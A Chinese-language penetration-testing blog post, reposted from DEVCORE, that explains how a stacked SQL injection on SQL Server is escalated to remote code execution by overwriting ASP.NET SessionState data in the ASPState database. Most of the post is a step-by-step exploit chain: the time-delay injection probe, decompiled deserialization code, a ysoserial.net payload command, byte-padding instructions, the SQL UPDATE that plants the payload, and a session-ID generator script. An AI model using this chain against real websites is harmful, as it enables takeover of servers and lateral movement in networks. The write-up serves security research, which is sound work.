从 SQL 到 RCE 利用 SessionState 反序列化攻击 ASP.NET 网站应用程式

27分钟之前
Web安全 (/category/web-security/)

作者： Cyku
原文链接：https://devco.re/blog/2020/04/21/from-sql-to-rce-exploit-aspnet-app-with-sessionstate/ (https://devco.re/blog/2020/04/21/from-sql-to-rce-exploit-aspnet-app-with-sessionstate/)

今日来聊聊在去年某次渗透测试过中发现的趣事，那是在一个风和日丽的下午，与往常一样进行著枯燥的测试环节，对每个参数尝试各种可能的注入，但迟迟没有任何进展和突破，直到在某个页面上注入 `id=1; waitfor delay '00:00:05'--` ，然后他就卡住了，过了恰好 5 秒钟后伺服器又有回应，这表示我们找到一个 SQL Server 上的 SQL Injection！

一些陈旧、庞大的系统中，因为一些複杂的因素，往往仍使用著 sa 帐户来登入 SQL Server，而在有如此高权限的资料库帐户前提下，我们可以轻易利用 xp_cmdshell 来执行系统指令以取得资料库伺服器的作业系统控制权，但假如故事有如此顺利，就不会出现这篇文章，所以理所当然我们取得的资料库帐户并没有足够权限。但因为发现的 SQL Injection 是 Stacked based，我们仍然可以对资料表做 CRUD，运气好控制到一些网站设定变数的话，甚至可以直接达成 RCE，所以还是试著 dump schema 以了解架构，而在 dump 过程中发现了一个有趣的资料库：

```
Database: ASPState
[2 tables]
+---------------------------------------+
| dbo.ASPStateTempApplications          |
| dbo.ASPStateTempSessions              |
+---------------------------------------+
```

阅读文件后了解到，这个资料库的存在用途是用来保存 ASP.NET 网站应用程式的 session。一般情况下预设 session 是储存在 ASP.NET 网站应用程式的记忆体中，但某些分散式架构（例如 Load Balance 架构）的情况下，同时会有多个一模一样的 ASP.NET 网站应用程式运行在不同伺服器主机上，而使用者每次请求时被分配到的伺服

器主机也不会完全一致，就会需要有可以让多个主机共享 session 的机制，而储存在 SQL Server 上就是一种解决方案之一，想启用这个机制可以在 web.config 中添加如下设定：

```
<configuration>
    <system.web>
        <!-- 將 session 保存在 SQL Server 中。 -->
        <sessionState
            mode="SQLServer"
            sqlConnectionString="data source=127.0.0.1;user id=<username>;p
assword=<password>"
            timeout="20"
        />

        <!-- 預設值，將 session 保存在記憶體中。 -->
        <!-- <sessionState mode="InProc" timeout="20" /> -->

        <!-- 將 session 保存在 ASP.NET State Service 中，
             另一種跨主機共享 session 的解決方案。 -->
        <!--
        <sessionState
            mode="StateServer"
            stateConnectionString="tcpip=localhost:42424"
            timeout="20"
        />
        -->
    </system.web>
</configuration>
```

而要在资料库中建立 ASPState 的资料库，可以利用内建的工具 `C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe` 完成这个任务，只需要使用下述指令即可：

```
# 建立 ASPState 资料库

aspnet_regsql.exe -S 127.0.0.1 -U sa -P password -ssadd -sstype p

# 移除 ASPState 资料库

aspnet_regsql.exe -S 127.0.0.1 -U sa -P password -ssremove -sstype p
```

现在我们了解如何设定 session 的储存位置，且又可以控制 ASPState 资料库，可以做到些什麽呢？这就是文章标题的重点，取得 Remote Code Execution！

ASP.NET 允许我们在 session 中储存一些物件，例如储存一个 List 物件：`Session["secret"] = new List<String>() { "secret string" };`，对于如何将这些物件保存到 SQL Server 上，理所当然地使用了序列化机制来处理，而我们又控制了资料库，所以也能执行任意反序列化，为此需要先了解 Session 物件序列化与反序列化的过程。

简单阅读程式码后，很快就可以定位出处理相关过程的类别，为了缩减说明的篇幅，以下将直接切入重点说明从资料库取出资料后进行了什麽样的反序列化操作。核心主要是透过呼叫 `SqlSessionStateStore.GetItem` 函式还原出 Session 物件，虽然已尽可能把无关紧要的程式码移除，但行数还是偏多，如果懒得阅读程式码的朋友可以直接下拉继续看文章说明 XD

```
namespace System.Web.SessionState {
    internal class SqlSessionStateStore : SessionStateStoreProviderBase {
        public override SessionStateStoreData  GetItem(HttpContext context,
                                                        String id,
                                                        out bool locked,
                                                        out TimeSpan lockAg
e,
                                                        out object lockId,
                                                        out SessionStateAct
ions actionFlags) {
            SessionIDManager.CheckIdLength(id, true /* throwOnFail */);
            return DoGet(context, id, false, out locked, out lockAge, out l
ockId, out actionFlags);
        }

        SessionStateStoreData DoGet(HttpContext context, String id, bool ge
tExclusive,
                                    out bool locked,
                                    out TimeSpan lockAge,
                                    out object lockId,
                                    out SessionStateActions actionFlag
s) {
            SqlDataReader       reader;
            byte []             buf;
            MemoryStream        stream = null;
            SessionStateStoreData    item;
            SqlStateConnection  conn = null;
            SqlCommand          cmd = null;
            bool                usePooling = true;

            buf = null;
            reader = null;
            conn = GetConnection(id, ref usePooling);

            try {
                if (getExclusive) {
                    cmd = conn.TempGetExclusive;
                } else {
                    cmd = conn.TempGet;
                }

                cmd.Parameters[0].Value = id + _partitionInfo.AppSuffix; //
@id
                cmd.Parameters[1].Value = Convert.DBNull;   // @itemShort
                cmd.Parameters[2].Value = Convert.DBNull;   // @locked
```

```
                cmd.Parameters[3].Value = Convert.DBNull;   // @lockDate or
@lockAge
                cmd.Parameters[4].Value = Convert.DBNull;   // @lockCookie
                cmd.Parameters[5].Value = Convert.DBNull;   // @actionFlags

                using(reader = SqlExecuteReaderWithRetry(cmd, CommandBehavi
or.Default)) {
                    if (reader != null) {
                        try {
                            if (reader.Read()) {
                                buf = (byte[]) reader[0];
                            }
                        } catch(Exception e) {
                            ThrowSqlConnectionException(cmd.Connection, e);
                        }
                    }
                }

                if (buf == null) {
                    /* Get short item */
                    buf = (byte[]) cmd.Parameters[1].Value;
                }

                using(stream = new MemoryStream(buf)) {
                    item = SessionStateUtility.DeserializeStoreData(contex
t, stream, s_configCompressionEnabled);
                    _rqOrigStreamLen = (int) stream.Position;
                }
                return item;
            } finally {
                DisposeOrReuseConnection(ref conn, usePooling);
            }
        }

        class SqlStateConnection : IDisposable {
            internal SqlCommand TempGet {
                get {
                    if (_cmdTempGet == null) {
                        _cmdTempGet = new SqlCommand("dbo.TempGetStateItem
3", _sqlConnection);
                        _cmdTempGet.CommandType = CommandType.StoredProcedu
re;
                        _cmdTempGet.CommandTimeout = s_commandTimeout;
                        // ignore process of setting parameters
                    }
```

```
                    return _cmdTempGet;
                }
            }
        }
    }
}
```

我们可以从程式码清楚看出主要是呼叫 `ASPState.dbo.TempGetStateItem3 Stored Procedure` 取得 Session 的序列化二进制资料并保存到 buf 变数，最后将 buf 传入 SessionStateUtility.DeserializeStoreData 进行反序列化还原出 Session 物件，而 TempGetStateItem3 这个 SP 则是相当于在执行 `SELECT SessionItemShort FROM [ASPState].dbo.ASPStateTempSessions`，所以可以知道 Session 是储存在 ASPStateTempSessions 资料表的 SessionItemShort 栏位中。接著让我们继续往下看关键的 DeserializeStoreData 做了什麼样的操作。同样地，行数偏多，有需求的朋友请自行下拉。

```
namespace System.Web.SessionState {
    public static class SessionStateUtility {

        [SecurityPermission(SecurityAction.Assert, SerializationFormatter =
true)]
        internal static SessionStateStoreData Deserialize(HttpContext conte
xt, Stream stream) {
            int                 timeout;
            SessionStateItemCollection   sessionItems;
            bool                hasItems;
            bool                hasStaticObjects;
            HttpStaticObjectsCollection staticObjects;
            Byte                eof;

            try {
                BinaryReader reader = new BinaryReader(stream);
                timeout = reader.ReadInt32();
                hasItems = reader.ReadBoolean();
                hasStaticObjects = reader.ReadBoolean();

                if (hasItems) {
                    sessionItems = SessionStateItemCollection.Deserialize(r
eader);
                } else {
                    sessionItems = new SessionStateItemCollection();
                }

                if (hasStaticObjects) {
                    staticObjects = HttpStaticObjectsCollection.Deserialize
(reader);
                } else {
                    staticObjects = SessionStateUtility.GetSessionStaticObj
ects(context);
                }

                eof = reader.ReadByte();
                if (eof != 0xff) {
                    throw new HttpException(SR.GetString(SR.Invalid_session
_state));
                }
            } catch (EndOfStreamException) {
                throw new HttpException(SR.GetString(SR.Invalid_session_sta
te));
            }
            return new SessionStateStoreData(sessionItems, staticObjects, t
```

```
imeout);
        }

        static internal SessionStateStoreData DeserializeStoreData(HttpCont
ext context, Stream stream, bool compressionEnabled) {
            return SessionStateUtility.Deserialize(context, stream);
        }
    }
}
```

我们可以看到实际上 DeserializeStoreData 又是把反序列化过程转交给其他类别，而依据取出的资料不同，可能会转交给 `SessionStateItemCollection.Deserialize` 或 `HttpStaticObjectsCollection.Deserialize` 做处理，在观察程式码后发现 `HttpStaticObjectsCollection` 的处理相对单纯，所以我个人就选择往这个分支下去研究.

```
namespace System.Web {
    public sealed class HttpStaticObjectsCollection : ICollection {
        static public HttpStaticObjectsCollection Deserialize(BinaryReader
reader) {
            int     count;
            string  name;
            string  typename;
            bool    hasInstance;
            Object  instance;
            HttpStaticObjectsEntry  entry;
            HttpStaticObjectsCollection col;

            col = new HttpStaticObjectsCollection();

            count = reader.ReadInt32();
            while (count-- > 0) {
                name = reader.ReadString();
                hasInstance = reader.ReadBoolean();
                if (hasInstance) {
                    instance = AltSerialization.ReadValueFromStream(reade
r);
                    entry = new HttpStaticObjectsEntry(name, instance, 0);
                }
                else {
                    // skipped
                }
                col._objects.Add(name, entry);
            }

            return col;
        }
    }
}
```

跟进去一看，发现 HttpStaticObjectsCollection 取出一些 bytes 之后，又把过程转交给 `AltSerialization.ReadValueFromStream` 进行处理，看到这的朋友们或许会脸上三条线地心想：「该不会又要追进去吧 . .」，不过其实到此为止就已足够，因为 AltSerialization 实际上类似于 BinaryFormatter 的包装，到此已经有足够资讯作利用，另外还有一个原因兼好消息，当初我程式码追到此处时，上网一查这个物件，发现 ysoserial.net (https://github.com/pwntester/ysoserial.net) 已经有建立 AltSerialization 反序列化 payload 的 plugin，所以可以直接掏出这个利器来使用！下面一行指令就可以产生执行系统指令 calc.exe 的 base64 编码后的 payload。

```
ysoserial.exe -p Altserialization -M HttpStaticObjectsCollection -o base64
-c "calc.exe"
```

不过到此还是有个小问题需要解决，ysoserial.net 的 `AltSerialization plugin` 所建立的 payload 是攻击 `SessionStateItemCollection` 或 `HttpStaticObjectsCollection` 两个类别的反序列化操作，而我们储存在资料库中的 session 序列化资料是由在此之上还额外作了一层包装的 SessionStateUtility 类别处理的，所以必做点修饰。回头再去看看程式码，会发现 SessionStateUtility 也只添加了几个 bytes，减化后如下所示：

```
timeout = reader.ReadInt32();
hasItems = reader.ReadBoolean();
hasStaticObjects = reader.ReadBoolean();

if (hasStaticObjects)
    staticObjects = HttpStaticObjectsCollection.Deserialize(reader);

eof = reader.ReadByte();
```

对于 Int32 要添加 4 个 bytes，Boolean 则是 1 个 byte，而因为要让程式路径能进入 HttpStaticObjectsCollection 的分支，必须让第 6 个 byte 为 1 才能让条件达成，先将原本从 ysoserial.net 产出的 payload 从 base64 转成 hex 表示，再前后各别添加 6、1 bytes，如下示意图：

```
  timeout    false  true            HttpStaticObjectsCollection
eof
┌──────────┐  ┌┐     ┌┐    ┌──────────────────────────────────────────────┐
┌┐
00 00 00 00  00     01    0100000000011400010000000fff ... 略 ... 0000000a0b
ff
```

修饰完的这个 payload 就能用来攻击 SessionStateUtility 类别了！

最后的步骤就是利用开头的 SQL Injection 将恶意的序列化内容注入进去资料库，如果正常浏览目标网站时有出现 `ASP.NET_SessionId` 的 Cookie 就代表已经有一笔对应的 Session 记录储存在资料库里，所以我们只需要执行如下的 SQL Update 语句：

```
id=1; UPDATE ASPState.dbo.ASPStateTempSessions
       SET SessionItemShort = 0x{Hex_Encoded_Payload}
       WHERE SessionId LIKE '{ASP.NET_SessionId}%25'; --
```

分别将 `{ASP.NET_SessionId}` 替换成自己的 `ASP.NET_SessionId` 的 Cookie 值以及 `{Hex_Encoded_Payload}` 替换成前面准备好的序列化 payload 即可。

那假如没有 ASP.NET_SessionId 怎么办？这表示目标可能还未储存任何资料在 Session 之中，所以也就不会产生任何记录在资料库裡，但既然没有的话，那我们就硬塞一个 Cookie 给它！ASP.NET 的 SessionId 是透过乱数产生的 24 个字元，但使用了客製化的字元集，可以直接使用以下的 Python script 产生一组 SessionId，例如：plxtfpabykouhu3grwv1j1qw，之后带上 `Cookie: ASP.NET_SessionId=plxtfpabykouhu3grwv1j1qw` 浏览任一个 aspx 页面，理论上 ASP.NET 就会自动在资料库里添加一笔记录。

```
import random
chars = 'abcdefghijklmnopqrstuvwxyz012345'
print(''.join(random.choice(chars) for i in range(24)))
```

假如在资料库裡仍然没有任何记录出现，那就只能手动刻 INSERT 的 SQL 来创造一个记录，至于如何刻出这部分？只要看看程式码应该就可以很容易构造出来，所以留给大家自行去玩 :P

等到 Payload 顺利注入后，只要再次用这个 Cookie `ASP.NET_SessionId=plxtfpabykouhu3grwv1j1qw` 浏览任何一个 aspx 页面，就会触发反序列化执行任意系统指令！

题外话，利用 SessionState 的反序列化取得 ASP.NET 网站应用程式主机控制权的场景并不仅限于 SQL Injection。在内网渗透测试的过程中，经常会遇到的情境是，我们透过各方的资讯洩漏 (例如：内部 GitLab、任意读档等) 取得许多 SQL Server 的帐号、密码，但唯独取得不了目标 ASP.NET 网站应用程式的 Windows 主机的帐号密码，而为了达成目标 (控制指定的网站主机)，我们就曾经使用过这个方式取得目标的控制权，所以作为内网横向移动的手段也是稍微有价值且非常有趣。至于还能有什麼样的花样与玩法，就要靠各位持续地发挥想像力！

(/users/a
nicknam

Cyku (/users/author/?nickname=Cyku)

None

阅读更多有关该作者 (/users/author/?nickname=Cyku)的文章